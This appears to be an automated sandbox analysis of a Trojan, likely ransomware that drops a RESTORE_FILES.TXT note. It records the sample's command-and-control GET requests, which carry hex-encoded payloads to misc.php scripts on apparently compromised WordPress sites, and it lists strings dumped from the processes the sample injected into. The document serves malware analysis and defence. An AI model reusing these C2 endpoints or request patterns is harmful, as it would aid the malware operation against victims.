
Connection: Keep-Alive

Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2016 10:43:09 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.36

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

HTTP/1.1 200 OK..Date: Wed, 15 Jun 2016 10:43:09 GMT..Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4..X-Powered-By: PHP/5.4.36..Content-Length: 0..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html..

GET /wp-content/plugins/share-buttons-wp/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2D075AF8B8200893DF6CB2CE1BA42320F1CD697021095F3BAC0B6E7501B626D3F6CCEA67FFBD212F6A09E4EE950085A384DB9B89944FE4421C59B70FD8312D01A HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: prettybaked.pl

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: text/html; charset=UTF-8

Link: <hXXp://prettybaked.pl/wp-json/>; rel="hXXps://api.w.org/"

Transfer-Encoding: chunked

Date: Wed, 15 Jun 2016 10:33:48 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

<<< skipped >>>

GET /wp-content/plugins/wp-handy-lightbox/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0BAD3B3F82CBF372FFC2041BB80D5A5F0800EB4252C6AA835538C909DACE6B2E023834217091840AC9CB180F22DFB68F310B21D4B3FCEA5792BCBEBA4DAB9420F HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: majowy.info

Connection: Keep-Alive

HTTP/1.1 404

Date: Wed, 15 Jun 2016 10:33:34 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate, max-age=0

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Link: <hXXp://majowy.info/wp-json/>; rel="hXXps://api.w.org/"

Pragma: no-cache

Server: IdeaWebServer/v0.80

3ec3..<!DOCTYPE html>....<html lang="pl-PL">..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width">..<title>Strona nie zosta..a znaleziona | Rzeki dla rower..w</title>..<link rel="profile" href="hXXp://gmpg.org/xfn/11">..<link rel="pingback" href="http://majowy.info/xmlrpc.php">....... <link rel="alternate" type="application/rss xml" title="Rzeki dla rower..w » Kana.. z wpisami" href="hXXp://majowy.info/feed/" />.<link rel="alternate" type="application/rss xml" title="Rzeki dla rower..w » Kana.. z komentarzami" href="hXXp://majowy.info/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/majowy.info\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.4.3"}};....!function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;return g&&g.fillText?(g.textBaseline="top",g.font="600 32px Arial","flag"===a?(g.fillText(h(55356,56806,55356,56826),0,

<<< skipped >>>

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf

Connection: Keep-Alive

Host: VVV.myconsulting.es

HTTP/1.1 404 Not Found

Date: Wed, 15 Jun 2016 10:43:02 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.36

Vary: Cookie

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Link: <hXXp://VVV.myconsulting.es/wp-json/>; rel="hXXps://api.w.org/"

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

51dc..<!DOCTYPE html>.. <html class="no-js" lang="es-ES"> ..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width" />.. ...<link rel="alternate" type="application/rss xml" title="RSS2.0" href="hXXp://VVV.myconsulting.es/feed" />..<link rel="pingback" href="hXXp://VVV.myconsulting.es/xmlrpc.php" />. . .. ...<link rel="shortcut icon" href="hXXp://VVV.myconsulting.es/wp-content/uploads/2013/09/favicon.ico" /> . .......... ...<title>P..gina no encontrada - My Consulting</title>.<meta name="twitter:card" content="summary" />.<meta name="twitter:title" content="P..gina no encontrada - My Consulting" />...<link rel="alternate" type="application/rss xml" title="My Consulting » Feed" href="hXXp://VVV.myconsulting.es/feed" />.<link rel="alternate" type="application/rss xml" title="My Consulting »

<<< skipped >>>

GET /wp-content/plugins/wp-handy-lightbox/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2B6A4C49C51E7FDA33B4C4B332FA44DFC85F107174D1175843EE546C0254CCD03ED067E9788149E979AF785F272D934E5D27FEF452E871B2C96EF5A506A0EFA5D HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: majowy.info

Connection: Keep-Alive

HTTP/1.1 404

Date: Wed, 15 Jun 2016 10:33:48 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate, max-age=0

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Link: <hXXp://majowy.info/wp-json/>; rel="hXXps://api.w.org/"

Pragma: no-cache

Server: IdeaWebServer/v0.80

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

NOTEPAD.EXE_1888:

.text

`.data

.rsrc

comdlg32.dll

SHELL32.dll

WINSPOOL.DRV

COMCTL32.dll

msvcrt.dll

ADVAPI32.dll

KERNEL32.dll

NTDLL.DLL

GDI32.dll

USER32.dll

notepad.chm

hhctrl.ocx

CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32

notepad.pdb

t%SSh

_acmdln

RegCloseKey

RegCreateKeyW

RegOpenKeyExA

SetViewportExtEx

GetKeyboardLayout

name="Microsoft.Windows.Shell.notepad"

version="5.1.0.0"

Windows Shell

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

&*$#$$#$*

MMMrMMM`MMMRMMMFMMM:MMM.MMM"MMM

*.txt

/.SETUP

Text Documents (*.txt)

%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT

5.1.2600.5512 (xpsp.080413-2105)

NOTEPAD.EXE

Windows

Operating System

5.1.2600.5512

notepad.hlp

You cannot quit Windows because the Save As dialog

dialog box, and then try quitting Windows again.

Common Dialog error (0xx)

Not enough memory available to complete this operation. Quit one or more applications to increase available memory, and then try again.KThe %% file is too large for Notepad.

Not a valid file name.MCannot create the %% file.

Make sure that the path and filename are correct.RCannot carry out the Word Wrap command because there is too much text in the file.

Page %d

Ln %d, Col %d

iexplore.exe_316:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.fg>

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512